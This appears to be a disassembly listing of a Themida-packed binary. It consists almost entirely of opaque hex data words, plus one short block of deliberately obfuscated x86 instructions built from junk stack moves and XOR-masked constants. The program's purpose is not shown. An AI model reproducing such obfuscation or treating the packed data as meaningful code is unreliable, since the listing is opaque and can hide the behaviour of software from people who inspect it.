		dd 7AB45E84h, 3C83622Fh, 3DE98BD6h, 8C533114h, 0E915B1B3h
		dd 17C03354h, 0D46BD32Eh, 0E4F4275Ah, 42169146h, 23B932B8h
		dd 83D95019h, 9850503Ah, 743A66CCh, 695639BBh, 54FFA092h
		dd 6E745E3Dh, 38DBD016h, 0E492B18h, 71AB54E9h, 7D0611C0h
		dd 2CE9DAAEh, 994E5182h, 2AED6FD8h, 0F03BDED5h,	0C3995A54h
		dd 943BB239h, 7A4EC98Eh, 0A8323C5h, 74EF615Eh, 9611C664h
		dd 0AFD3B7C2h, 0F7AA88F5h, 0C90A5BF5h, 0C7C38294h, 95319A15h
		dd 4CCF8C6Dh, 31006A49h, 8D1F935Dh, 2097F35Ch, 470913A9h
		dd 5B1109CCh, 0FE5B8820h, 78B802DAh, 0F45BD299h, 1FAD2AAEh
		dd 38EB49B6h, 86495BF6h, 3DE5F855h, 0C4AD3FBEh,	11h, 4BA70613h
		dd 0B83F59DDh, 5EB8AB01h, 0B51EDCC1h, 4DC47724h, 0EF6EED7Fh
		dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h
		dd 3EB930CAh, 5FD890AAh, 0EC83B30Dh, 24248904h,	4BB53h
		dd 5C010000h, 685B0424h, 4F09h,	52241C89h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 4895C24h, 70BE5624h, 53361B35h
		dd 107B19BBh, 5BDE017Ah, 6F3DEE81h, 0C6816F18h,	0C4D81448h
		dd 545EF389h, 8324048Bh, 515304C4h, 6764D1B9h, 244C2966h
		dd 408F5904h, 8408108h,	666764D1h, 5124048Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 34FF5C24h, 0C4835B24h,	2320E904h
		dd 5E94FFF9h, 0C7A47C0Ah, 9F7C932Bh, 2E5D7803h,	5A19B8E3h
		dd 0C50305EBh, 0C1B1E0FFh, 5A9672Ch, 0DE4A4939h, 0B2657A7Ch
		dd 0F3BB2140h, 6BE1317Dh, 764A019Ah, 7AAD3C9Ch,	577763C8h
		dd 457B7AB6h, 88426034h, 0FD421984h, 3C8364D0h,	80624D08h
		dd 0B2AD5CF1h, 0FFDF344Eh, 156353ADh, 9F1D65BAh, 8EFE370Ch
		dd 0E0930FCAh, 0D3C1695Ah, 0E13D7343h, 4EB0605h, 54FF80BCh
		dd 543E9h, 6DE45700h, 0BF38B06Ah, 0D0570218h, 68E355CDh
		dd 8138BD65h, 0FBAE091Eh, 42D8FF7Ah, 0A8721592h, 0FC26A922h
		dd 22D9FC7Fh, 41200263h, 0EE9C54F0h, 49C077B1h,	0ED64E973h
		dd 29BB30EAh, 0E446BFA4h, 404F04E5h, 0A6695A8Fh, 6F7DFE7Ch
		dd 0AB2CAAF4h, 63692211h, 0C19B12D9h, 0A038BF3Bh, 29C8C892h
		dd 0C5A42BA2h, 0A2B83CEDh, 9FEB4870h, 97F35CDBh, 4027A621h
		dd 4D1F985Ah, 7326D18Fh, 0B7E8F14Bh, 958DEFD0h,	2CEF4F05h
		dd 36B12763h, 5BD498A2h, 0F87FFB01h, 1F985AE0h,	0A5EDB74Dh
		dd 8989536Dh, 0A669E268h, 957CFEC7h, 0A5F84F05h, 594DA58h
		dd 0A4995A4Fh, 894ED4EBh, 0A485BA0Eh, 4E4F0594h, 86FD347Ch
		dd 0F72E1578h, 5Ch, 49C07726h, 0E66CCC73h, 0DF864F04h
		dd 34ED8EF3h, 0F55E5305h, 0A7F3A9E9h, 7FDA767h,	776A017h
		dd 2CA7B97Bh, 20635700h, 492E14FFh, 1, 44C3778Ch, 81356D74h
		dd 7B06C91Fh, 85F62A5Dh, 8D0ACEC8h, 30AB2D3Fh, 0F0308A98h
		dd 6AC75911h, 5677F00Eh, 61C83F4h, 26B7D651h, 714BC677h
		dd 0D0E86FEBh, 56041EC5h, 0EDFF78FCh, 0E480576h, 0F772E302h
		dd 0A8D4AD0h, 0AA2DACBEh, 0BBE7431Eh, 14CF0172h, 0A16A2Eh
		dd 0F45B0000h, 4DBA98Bh, 6AED6B4Fh, 85D2BF70h, 0E867D6CCh
		dd 0E65AD825h, 19DA4F04h, 64E352BCh, 8403B654h,	5C441E34h
		dd 0DE8138BDh, 3D9611C4h, 42FD70AAh, 0E962D476h, 0C8749D3h
		dd 222FAEBCh, 4E65FDDh,	291ADD4Fh, 256DCF93h, 40CDEEDh
		dd 14CF66CDh, 0B2987F2Eh, 52C72B81h, 0D25091AFh, 524F0494h
		dd 59B934E1h, 0DC000000h, 0F562C677h, 0D0529372h, 2C4F04E5h
		dd 0FBD7B6EBh, 78860344h, 0FE7C4160h, 7E4F0520h, 0CD8F48BDh
		dd 76ACB93Fh, 1A1849C6h, 9A4F0521h, 0F0546459h,	5607E62Ah
		dd 7723B4DBh, 6D7444C3h, 4F088335h, 4E60166h, 306A2B4Fh
		dd 0C5603BCh, 0C976CD04h, 1E72E14h, 36000000h, 8047C277h
		dd 0F673C921h, 0D9099ED5h, 5808AE8h, 6C29EA4Fh,	9E19DE6Ch
		dd 75372CAh, 3DD5CE8Fh,	0F5D1BA96h, 6AED6C8Dh, 25A7106Bh
		dd 5DB41D62h, 0CF0054E9h, 71E86FFDh, 0AD07B46Eh, 9153B62Eh
		dd 3923BEF5h, 63993C4h,	54E95922h, 0E0F877E6h, 0E189F5Ah
		dd 21F9D34Ch, 0C59F575Bh, 39613B67h, 0B4AF3DB4h, 8138BFDBh
		dd 0D457041Eh, 76F16684h, 0B214D862h, 79538403h, 59056758h
		dd 0B46754E9h, 5E6AED6Ah, 338A0DCCh, 8E32B57h, 28AF4EB2h
		dd 6758D398h, 3CB19260h, 13DA33F9h, 7D000001h, 2AED6FD8h
		dd 0E903CCD5h, 5567A854h, 0F1B00B7h, 9597CC4Bh,	7754E902h
		dd 0C2714BC6h, 0A32217D8h, 6379F067h, 0C19B12D9h, 4BAAD6B4h
		dd 39B2248Ch, 1271C1C4h, 7B33F8E6h, 43h, 0E862D892h, 0E6AAD825h
		dd 498A4F04h, 0E66ECC73h, 0FEED4F04h, 0D82530A4h, 4F04E65Ah
		dd 6B2419DAh, 0BD6D236Fh, 4D0A5C1Eh, 1045FECAh,	0F7568BB8h
		dd 4E5FC8Eh, 0D087834Fh, 1F2FC59h, 94DF9Eh, 0D80E0000h
		dd 0D52AED6Fh, 54E8F6F8h, 45C473AFh, 9713FC77h,	32B9E1A4h
		dd 60FADEBBh, 0B56D70EBh, 0AC358706h, 4088FA46h, 0DAB7F718h
		dd 0E9D09295h, 0B199C854h, 6B59543h, 0D43E3587h, 0C4910156h
		dd 0C077969Ah, 0BA734649h, 39D755AAh, 803554E9h, 680B309h
		dd 8AFF78FCh, 0BE89F659h, 1A5AD494h, 8B9776D9h,	0C97A4EC9h
		dd 13F49A98h, 7CD91A4Fh, 8E09CE5Ch, 9898623Ah, 349B19D6h
		dd 8DE00BDEh, 0C97A4EC9h, 2FDEC98Dh, 14C132ADh,	0FF014CB1h
		dd 9A5D54FFh, 6DCC62FBh, 4E61210h, 0F674494Fh, 764F04E5h
		dd 7DD61985h
		dd 9C43C1BEh, 0F040D4A3h, 39BFEB54h, 5C392ABEh,	8ACBE152h
		dd 4158DA2Bh, 63D454F0h, 45EF6CB6h, 0BC231497h,	9776F166h
		dd 0AA0D38BBh, 0A865B4E6h, 3F49A120h, 0A0DB9171h, 5AFFDB08h
		dd 6BD99B8h, 324EB8BDh,	0B1E7CC89h, 0BBA604EDh,	0E84ABB1Ah
		dd 44A404ACh, 949CC693h, 14166FCEh, 90A404ADh, 714BC476h
		dd 0C07591C2h, 0D5828C49h, 366C3352h, 2EA92086h, 6474A99Ah
		dd 73F822EFh, 0B9E1E0F8h, 372CBC37h, 1CBE305Ah,	0ACF346Dh
		dd 0CC063D8Fh, 0CD3EF3C5h, 5D452FFFh, 19BC3FBCh, 0CD34A01h
		dd 0CFD250ADh, 0E152A404h, 0E53DA434h, 0A41BF477h, 3, 775106F3h
		dd 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch,	6785D752h
		dd 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	2D1Ch
		mov	[esp], ebx
		push	edx
		mov	edx, 0D2D7F0Ch
		xor	edx, 33253829h
		not	edx
		xor	edx, 0C41CE3FAh
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		dw 56E7h
		dd 0FDB68376h, 893E590Ah, 0EB5FD7B8h, 0FFC50305h, 0BA5CB4E0h
		dd 88E13428h, 0C51F4A6Fh, 0FFD50238h, 622BD400h, 49BB8E17h
		dd 7CFCDF2Eh, 0DBEC9A7Bh, 2A04EB09h, 0E96ED4FDh, 562h
		dd 0D1F46FE0h, 87068149h, 345BDE9Bh, 0ECF36CEEh, 85088736h
		dd 0C1742590h, 1BDB4746h, 0AB21F99Ch, 0C675AD30h, 0EAB94047h
		dd 0F0459795h, 38971554h, 7349C077h, 2AED64E9h,	0E5F87A4Bh
		dd 83744F04h, 71D0B7D6h, 0F926A129h, 4F04E67Bh,	0F4DC36F9h
		dd 0C2AF6A8Fh, 94434F08h, 36A54715h, 0ECAD0B7h,	7EB32CA0h
		dd 0BC1CF96Ah, 1FAD2AAEh, 9A5A4005h, 8A944F1Dh,	0C2714BCCh
		dd 0A4454D09h, 911B437h, 7655A43h, 654F057Dh, 6DE668B2h
		dd 2CB3E45Fh, 0F5C740F6h, 0A568E757h, 6C7CFF7Dh, 0EEBE1AF7h
		dd 7FFD1C04h, 0B1E265D5h, 57A80FEEh, 4F057CD5h,	0BDBFE457h
		dd 3F4F057Ch, 968C13FCh, 2D12A621h, 4F057D4Ch, 15DCC4E6h
		dd 2E15602Eh, 8B5Fh, 0C077FE00h, 48527349h, 85BE0A85h
		dd 97BD3149h, 560384A8h, 5860969h, 979B214Fh, 1568E55Eh
		dd 1162Eh, 77410000h, 8BE9D6C3h, 0E94F04E6h, 0E5E94BB4h
		dd 884B4F04h, 0B4566257h, 57489A04h, 6F45F4FAh,	0DA9CAE3Ah
		dd 7BF10BA1h, 94E9E8C0h, 4F057A96h, 14D92516h, 947ECF9Dh
		dd 852A46Ch, 0E661E908h, 0F105CB27h, 579193ECh,	20134F05h
		dd 2198A2F6h, 0C6D2A0F5h, 834C2313h, 0D0859DFCh, 75F90359h
		dd 0C2CC89FAh, 5AF39215h, 714BC677h, 0D0E86FEBh, 54041EC5h
		dd 545C06D3h, 28A000B5h, 454D386h, 15CE9ACFh, 0C4DEBD20h
		dd 0DC69215h, 16914640h, 0B631B842h, 8FF35722h,	14CEED46h
		dd 2EACF62Eh, 6B241FADh, 0A87Ch, 81356D00h, 0CC0C4D06h
		dd 6279E0E6h, 0DC26B6A9h, 12C19B1Ch, 61985DB9h,	66C354BEh
		dd 49AC7C79h, 5D9F674h,	5085764Fh, 8237D587h, 0C59FB507h
		dd 0DE9B87DDh, 2194FE5Bh, 7AFB27A6h, 570218FFh,	0C5507D0h
		dd 0D9D250ADh, 0C8524F05h, 1328601h, 550703CCh,	0AC338EDAh
		dd 7547C076h, 0D5E762D7h, 1CD12D1Eh, 0B31CD7E5h, 5122EB17h
		dd 522E15C3h, 0CFB0B2F3h, 0CB0C4F05h, 49570Eh, 91700000h
		dd 5CFCEACh, 20ED2E4Fh,	4BC677ABh, 2463AE84h, 0B0221785h
		dd 0E157F5E7h, 2C8E5266h, 0C05005E4h, 4B2D0697h, 4C538498h
		dd 5DC3779Bh, 87F41772h, 0D9F32402h, 5B90166h, 91912B4Fh
		dd 159BEB58h, 11C2Eh, 77BB0000h, 0AA8047C2h, 0F579C3F7h
		dd 99F56E7Ah, 0A0172BA1h, 0B11BF429h, 1FAD2CABh, 5CBDE54Fh
		dd 1B85339Dh, 0A86309E1h, 0BDEE23B7h, 74F6AF1Ah, 3263AC91h
		dd 40B354E9h, 0E265D268h, 39B027E3h, 118A4C56h,	4FD31444h
		dd 0F354E8F0h, 303273D2h, 8C54E8F0h, 0DCC48E4Bh, 583FBE3Dh
		dd 0FEF44C72h, 5491284Fh, 0BE838A03h, 0BFCE8BFCh, 6775F463h
		dd 3EBE16C5h, 0C7382B81h, 9E82D8F5h, 5E41F87Fh,	930F137Fh
		dd 2EDCA8B5h, 15F82DAAh, 0E92E4A28h, 0AC69AA54h, 0F910F94Ah
		dd 1346233h, 0FC430000h, 0E921A183h, 6CD65354h,	6469E70Ch
		dd 0FFDCB97Ah, 2AED6FD8h, 0E903CCD5h, 5567A854h, 68900B7h
		dd 8CDC5F1Ch, 4867F97Eh, 94CF9A76h, 6459E211h, 95C6B98Dh
		dd 2D7D08A0h, 1853BFE5h, 83D14A2Dh, 45179247h, 96F05D8Eh
		dd 0D327A621h, 33F8E570h, 5299h, 0D6CC3C00h, 62D1EB64h
		dd 9218C2A9h, 0E6C0F233h, 5B9C4F04h, 0E65CDE01h, 36B84F04h
		dd 5F1D2FBDh, 0F3C940F5h, 0E9BD0F40h, 23CE1F03h, 2857450Bh
		dd 5A20BFF0h, 28A21856h, 0D86A1865h, 9114F05h, 47FCCC47h
		dd 0A82FE08Ah, 9129h, 0D8908A00h, 0D8E5F25Fh, 4B2AED6Fh
		dd 22639E5Fh, 4F04E640h, 64E352BCh, 0EA65D733h,	0A4615E21h
		dd 0C054E8F6h, 0E052480Fh, 359E5567h, 57D685A7h, 0AF28AAF0h
		dd 5266E153h, 899134E1h, 0CE714BC2h, 54E8F767h,	0AA4BB715h
		dd 442BAA2Dh, 0CC50766Eh, 917A2001h, 28EF6DDAh,	0D449DFD7h
		dd 3B9A5D5Ah, 118E4E54h, 0D95B88BBh, 0B4F1448h,	0A389CD33h
		dd 58A2DC04h, 6A271893h, 9C1FDC6Eh, 6A967CCCh, 26E96B24h
		dd 24E5D9h, 2C95355h, 0D102318Bh, 6FD819CEh, 399314C4h
		dd 9776D90Ah, 0E23760BBh, 0DCB9201Ah, 0F0861F97h, 0AD6C4654h
		dd 0D3BE1FC2h, 0C536B01Dh, 67E655F7h, 933DBA60h, 4CCB8F21h
		dd 0A192C77Ch, 4DAED40Bh, 6BEEC030h, 8B4EDCECh,	6ECBC0Ch
		dd 0E6C0D21Ah, 1D9C5BBAh, 0B02BA07Ah, 0EA61B918h, 21EA5973h
		dd 0E0F873E5h, 0AF4EB218h, 60C22328h, 0DCBDD93Dh, 0B6028532h
		dd 701748BDh, 1EAA2DAAh, 1B57h,	0F1A7000h, 0B7DF5124h
		dd 0C5B7B58Ah, 0C235BDD9h, 3B7A4591h, 0C5208ACCh, 51064308h
		dd 7F4DC477h, 0DDEF6EEDh, 0BA0E894Fh, 19B32CA0h, 85D75203h
		dd 617BF667h, 0CA9E19DBh, 0AA3EB930h, 0D5FD890h, 0E18951B3h
		dd 4C181h, 0BA520000h, 4, 875AD129h, 565C240Ch,	0C681E689h
		dd 4, 4EE81h, 34870000h, 34895C24h, 26D26824h, 2C890000h
		dd 0D9B85024h, 89591525h, 0F68158C6h, 5CFE454Eh, 242C8B54h
		dd 8304C483h, 348904ECh, 8458F24h, 5D2434FFh, 4C481h, 348B0000h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 17D0E95Ch
		dd 0DC06FFF9h, 80B83F7Fh, 305EB65h, 39E0FFC5h, 0E43B64D4h
		dd 854DBDA0h, 212BB2E0h, 0B9527389h, 4006FC45h,	2D76E384h
		dd 5355C7D4h, 0C116BAF3h, 0FD05A193h, 7B30C721h, 0F0100B6Bh
		dd 120B4C3Ah, 0B1E101Bh, 0A6624h, 674FFD7Ah, 1A06325Eh
		dd 0A568E814h, 146DFBE2h, 0D678151Ch, 0C42A3023h, 94090D3Fh
		dd 0E11F2591h, 6D2A5A94h, 83416A51h, 0F7583AE3h, 4E4A6A15h
		dd 814DC1F0h, 0A538BE2h, 8D5EE216h, 0EB67568Dh,	52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 12156801h, 4980E47Eh, 0DEB70F2Eh, 10958D89h,	6A05E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 6C6AB5C3h, 8D89898Fh, 5E41D51h, 2C6585C7h, 662805E4h
		dd 870F0000h, 6, 3CDB589h, 852B05E4h, 5E42681h,	30FD85C7h
		dd 5E4h, 85010000h, 5E41069h, 78DB5FFh,	6A05E4h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 6EDB60C3h, 22A5D281h, 95FF2ABEh, 5E42A61h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EDC35545h, 0BD039433h
		dd 5E41D7Dh, 95FF006Ah,	5E410C1h, 7FEBC08Bh, 62A959EFh
		dd 9C76994Bh, 0A394FEE4h, 0AC0BDE99h, 0AC536221h, 5C0D3FA9h
		dd 0DF7E0FE2h, 0ADC1230Ah, 0A458C0FCh, 3C87EE53h, 56B9AF28h
		dd 91D4CB80h, 0A070BB4Eh, 4312F810h, 0B688205Ah, 53093624h
		dd 0FCA02CBDh, 0C007E045h, 568A8BBDh, 0C9474053h, 2F4A9B64h
		dd 2D885D1Ah, 63C403CBh, 4C4F9870h, 0AE1FC84Eh,	0DEDF0BCh
		dd 0D92B592h, 0F7972591h, 776A2ED2h, 4DFD8B5Eh,	118749BBh
		dd 0EB29A74Dh, 0C97ECB04h, 57EE937h, 21920000h,	7FFB27A6h
		dd 8C4DD5F8h, 0DE908A0Dh, 75F822A5h, 7342DBFAh,	9538B726h
		dd 4F4EC98Dh, 0E3E265D3h, 9639B027h, 0E547B8EFh, 4754F04Ch
		dd 0C0776A21h, 48527349h, 0BEB50780h, 8D04C9D5h, 205B100Ah
		dd 42C57288h, 0E364D476h, 21613BC9h, 0D900BC0h,	60C274AEh
		dd 0E85B71EAh, 3AB0DAB7h, 75A621A8h, 37277352h,	14A18D4Ch
		dd 0A32975DEh, 0CA8A9028h, 0C5AF7F4Dh
		dd 0DF2087DDh, 4F05765Dh, 57B31CDFh, 0BB6766E1h, 0C0DABD3Ch
		dd 95C7900Bh, 575CD52h,	5D45674Fh, 1559AF94h, 9ED82Eh
		dd 0CC7F0000h, 2EEB64D6h, 11F477E4h, 3CC4709h, 0E5929649h
		dd 0C6764F04h, 6672ED60h, 1A20B8EDh, 0C58CDC5Bh, 4E67AF8h
		dd 0AE39FA4Fh, 0BF3DDCC4h, 42B7AC3Ch, 854CB416h, 2E14C8BEh
		dd 1D1F60C7h, 9F4F04DAh, 1C4F35Ch, 13000000h, 7444C377h
		dd 980356Dh, 0CBD780B3h, 2A30880Fh, 879D2FA8h, 73AFF53Dh
		dd 0FA6943C6h, 0C245F511h, 31A6FCC3h, 8CEED7B6h, 0E84F04E6h
		dd 0AB206A27h, 0A9BF48A2h, 7B61DC25h, 55C280Ah,	3753844Fh
		dd 0BEB50782h, 0DA2B8A4Dh, 4F055C58h, 570763D4h, 0FF687FD8h
		dd 0E966D6CCh, 6BB760D3h, 745D6FEAh, 9A2EA92Eh,	9B99E6A9h
		dd 194F04E5h, 59117DD6h, 0ABFF8ADEh, 615E3D67h,	4F04E603h
		dd 5BD68761h, 0EC61AD66h, 3C85275h, 24B42FA1h, 5CEEFA2Fh
		dd 0D4BB1A9Dh, 4E689EBh, 5031EB4Fh, 75DE9625h, 6D6F281Dh
		dd 0FC6CA90h, 2E157224h, 5755h,	0C6778000h, 6EEB714Bh
		dd 7943D1EBh, 0A39C6339h, 4F04E5C1h, 0FB27F023h, 42D8FF7Ah
		dd 0A6441493h, 5421BB34h, 0F0438AF6h, 192E14CEh, 66h, 62C677BCh
		dd 5C0374F3h, 0B9869346h, 4F04E5BBh, 0C885F639h, 7BFC7A80h
		dd 0F33F9D61h, 45FC71A9h, 0F713FC77h, 13C4CB46h, 0E463D6CCh
		dd 68B21FD4h, 7AA067E0h, 0F76C7CFBh, 0A889BE1Ah, 6C4F04E5h
		dd 0C05A6EE9h, 0AC39930Ch, 2E1AD2DEh, 0E65D949Ch, 172E14C8h
		dd 0Eh,	68EF6AB0h, 0D9DA58A5h, 995A4F04h, 0C2779F3Ch, 3B6CEB6Eh
		dd 5DDC9BA1h, 0ADD5BF0Fh, 4B0A8D4Ch, 833CBEE4h,	67C53A29h
		dd 0C54F04E6h, 5326B912h, 48B5189Ah, 54E9117Fh,	0B65464D7h
		dd 0A0078601h, 0F2A894Ah, 49FACE49h, 6E75830Dh,	0E90D1311h
		dd 6D5E9154h, 0D7CC7121h, 5F3807BBh, 0B7058433h, 0E9B5B0B0h
		dd 48481254h, 0D68222A9h, 0DAB91C51h, 0E9B687E5h, 0E832E554h
		dd 9A2DE661h, 7850CB80h, 0E6F275E2h, 0E9B3FFCBh, 0CB843FB1h
		dd 0CE9108CFh, 2AE760D4h, 98DCA79Bh, 600D33F9h,	48000001h
		dd 2AED6FD8h, 0E903CCD5h, 0A067A854h, 0F3444D4Ah, 0C7906C53h
		dd 66D6CC95h, 75E22CE9h, 8037D3F2h, 22A9B309h, 38BEE4ABh
		dd 70F763BFh, 0AA2EEB58h, 1D474B1Fh, 7DD65105h,	7C235A11h
		dd 5835B226h, 348EF545h, 36FF33F9h, 1E000000h, 25E862D8h
		dd 4E6AAD8h, 73498A4Fh,	0B844852h, 0E603614Eh, 0F8424F04h
		dd 0BE34F6B8h, 9017C3DFh, 998160C7h, 0B7FC59D0h, 4F04E605h
		dd 5211B467h, 0DFh, 106DCC85h, 4F04E612h, 0D8C245F2h, 6FFBA17h
		dd 1FFCC184h, 8454E8F7h, 0F65AD825h, 19DA54E8h,	0EBC132BCh
		dd 8B4A9A51h, 5287BC0Ch, 0E960D733h, 0F7096CD3h, 12B354E8h
		dd 0F3927138h, 0D02AA791h, 1BC8E01Bh, 0B6EC14BEh, 0D68CEED7h
		dd 19B854E9h, 472BABD0h, 70DD1E88h, 6726A116h, 7BBDBF80h
		dd 9BE454E9h, 54E97B99h, 6DAED81Bh, 88205B11h, 9CEFFE5Bh
		dd 1FFEA123h, 0EED75203h, 54E97C8Ch, 9B6A27E8h,	0D4E3A0AAh
		dd 54A9FC5Ah, 4F14D6D6h, 18B0E556h, 6CB5502h, 8CEED730h
		dd 0E84F144Fh, 27E9EB27h, 0C39B3162h, 7FD19882h, 0F66D7FFAh
		dd 7BF27985h, 0BD19F261h, 45F32F75h, 0F6CA74DBh, 2B1CB0E3h
		dd 34E118DFh, 4B0A8845h, 3A3805E4h, 0BA4F1494h,	0AD579C79h
		dd 8F54FFFBh, 0CC9C494Ch, 0D0E867D6h, 0AC3B663h, 52F8C588h
		dd 2254F04Eh, 0DD7A67E8h, 0C132B7B5h, 3AB0EAEBh, 0EE382B81h
		dd 6BD8F06Fh, 74F764AEh, 8B02C951h, 252F0E31h, 99E38712h
		dd 78F37899h, 4DCC8D95h, 740BC47Fh, 1AAE29AEh, 89EBD4BBh
		dd 0EB86CE25h, 0B1236F28h, 0D498A236h, 7EFB015Bh, 0B218E1FBh
		dd 0B22DAF4Eh, 959D6741h, 4144C774h, 349B12D9h,	0DDEF68EEh
		dd 462FAD66h, 3, 77510691h, 0ED7F4DC4h,	4FDDEF6Eh, 0A0BA0E89h
		dd 319B32Ch, 6785D752h,	0DB617BF6h, 30CA9E19h, 90AA3EB9h
		dd 0B30D5FD8h, 53E68956h, 0A92372BBh, 2EBC165h,	0B728C381h
		dd 0DE01E695h, 4EE835Bh, 5C243487h, 81E18951h, 4C1h, 4E98300h
		dd 5C240C87h, 51240C89h, 0C181E189h, 4,	4E981h,	0C870000h
		dd 3C895C24h, 4EC8124h,	89000000h, 0A4BB241Ch, 817AE52Fh
		dd 59265FCBh, 7E3C15Fh,	9865F381h, 0D989FB7Ch, 4EC815Bh
		dd 89000000h, 4812424h,	424h, 51555F00h, 6242C81h, 5D7BE84Dh
		dd 4D06C581h, 6F897BE8h, 3C8B5D08h, 0E6895624h,	4C681h
		dd 0C6810000h, 4, 5C243487h, 592434FFh,	4C481h,	6FE90000h
		dd 4DFFF910h, 7A38CB44h, 0B3F0C21Bh, 827D309Fh,	0EB6CA7B8h
		dd 0FFC50305h, 0B8D791E0h, 4FBBF705h, 25229C13h, 901A975Bh
		dd 9E7AE470h, 132E4B57h, 87F1CB1Ch, 408B310Ch, 44F2DE52h
		dd 5DC0D312h, 340BD948h, 92E3C743h, 1EE8C61Bh, 488431Eh
		dd 174C6E60h, 6042816Ah, 43362A2Bh, 0FAEE994Bh,	13137723h
		dd 58F9C742h, 6D6A4422h, 4900851Bh, 41E94166h, 0D5326E78h
		dd 12E87Fh, 0B0F20000h,	8F324078h, 0CAC087Fh, 59CEDE92h
		dd 7711F1FAh, 0E95BD78Ah, 8, 97B4FE04h,	0D9462A6Ch, 6B8BC381h
		dd 0DA810000h, 3657C325h, 0BFh,	5ADC8000h, 0F1F34FFh, 85h
		dd 0FEB45E00h, 71D9F681h, 8E0F5AA4h, 0Bh, 58B0Fh, 81660000h
		dd 815254D1h, 1E5571C6h, 10E94Fh, 58C70000h, 9C601D85h
		dd 58AE83AEh, 0E4BBD292h, 0C6811AEFh, 1D29A844h, 348953B0h
		dd 38C0F3Bh, 80000000h,	4FB496D6h, 6604EF83h, 0F7DBC881h
		dd 9544FF81h, 850FFFFFh, 17h, 80E18166h, 2BE9DFh, 0BCF30000h
		dd 8AF10547h, 7F76BAF4h, 0F05CF29h, 18Fh, 75E9F800h, 0AFFFFFFFh
		dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0CA8D2A7Dh, 0EE04EBBFh
		dd 0E905EB10h, 578h, 0F99C17D8h, 0AF2EA921h, 5C43C673h
		dd 0F49B14C6h, 0AD30AF2Eh, 0E96C3D78h, 3B36F6Eh, 53190184h
		dd 0EE6DB5D8h, 0F2D1686Fh, 0F053AF8Dh, 207F0D54h, 7349C077h
		dd 0EAED64E9h, 5ED99F8Bh, 127CD90Ah, 276322A5h,	0AAA038B7h
		dd 9E24DCBEh, 0BC43972h, 0BD3CBB41h, 0DA5D1D2Fh, 0E62A748Eh
		dd 76D95007h, 622FA82Ch, 0BF11C743h, 3B28803Fh,	2A8AB8DFh
		dd 3B6C28D3h, 4FC88E94h, 0F06FEF7Dh, 179042D8h,	0B631A745h
		dd 4AB61022h, 0C4AB3A82h, 0C9E31CDEh, 5B47251Ah, 11C54F05h
		dd 9511C296h, 0A5EDE9A2h, 0E00C9644h, 1EE9062Bh, 0B8108F4Fh
		dd 6265568Bh, 0D52A33B8h, 4F052357h, 6E3162D5h,	48058634h
		dd 235ADF00h, 36944F05h, 64003CAh, 4DA92E15h, 1A000000h
		dd 87D54E00h, 0AA4B024Ch, 1134D69Dh, 0C0771744h, 6CCC7349h
		dd 864F04E6h, 4E35FC24h, 0BF2E14C9h, 1,	6DC377DEh, 0A3396AEDh
		dd 0F873F822h, 0DE076C9Eh, 2CFDF94h, 85D75018h,	6E7AF567h
		dd 67868AD4h, 0C95174F3h, 53048B02h, 714BC677h,	0F9F16FEBh
		dd 79096F67h, 2375A15Bh, 374A4D7h, 0A6130FCEh, 0F15A8923h
		dd 0A007CEDBh, 6E7AFD7Ah, 9AAE8CF5h, 0CD0E4F05h, 9B37350Ah
		dd 42B54F05h, 24C5CD89h, 309736B1h, 2E299CDAh, 309DAF5Eh
		dd 27E661D6h, 4A85F8CBh, 0E7B09817h, 3B6ECF5h, 0D33F3484h
		dd 31D5796Fh, 0D9C58E3Bh, 76C39910h, 0CEA56C94h
dword_5B5800	dd 3F2E152Bh, 0A4h, 4BC6775Eh, 0C26EEB71h, 0A399314h, 0EC7183D9h
					; DATA XREF: Themida_:00556DC4o
		dd 0E632300Dh, 41B24F04h, 27C6CA94h, 8E943BB6h,	0A58D50CFh
		dd 1CC84F76h, 0DAFE5BB1h, 0BE878E40h, 4F0517BCh, 42169158h
		dd 0F1221591h, 97E84F2Eh, 4F051795h, 7DFF2417h,	0FF4F0518h
		dd 9329A015h, 36A26FA0h, 4A838F5Bh, 2E1500E9h, 5D12h, 0C6774500h
		dd 6DEB714Bh, 889215C3h, 0B6194AC5h, 5A6EE96Ch,	0DF8AADE9h
		dd 43DFE4DCh, 677EC296h, 0E43EB93Bh, 6CE7F576h,	1AFB27A3h
		dd 0DAB9DC5Bh, 9FC83F0h, 0EF8FCB42h, 83E1DEA8h,	0E14F0520h
		dd 0BB10FD2Eh, 0EE6DC377h, 0B9AE3A6Fh, 4F04E5B8h, 0E1286872h
		dd 2E14C9A2h, 1CBh, 0C2770200h,	60D77547h, 8549D3E9h, 2FACBE0Ah
		dd 0E64C1CACh, 806A72BAh, 71E86180h, 20A21B6Eh,	11B7007Dh
		dd 0DC1F54E9h, 19DDC58Ch, 200CA9Eh, 109964CCh, 0A14C132h
		dd 5FCBCA4Dh, 944B6198h, 54E8EB94h, 0CD2C5436h,	2633A60Eh
		dd 0E8EC5BD9h, 2516D954h, 0A46B5C97h, 6D7FF87Eh, 0AEE31EDFh
		dd 9358C2E5h, 3DBA4018h, 37932EBAh, 3AD2ACBh, 9433CD53h
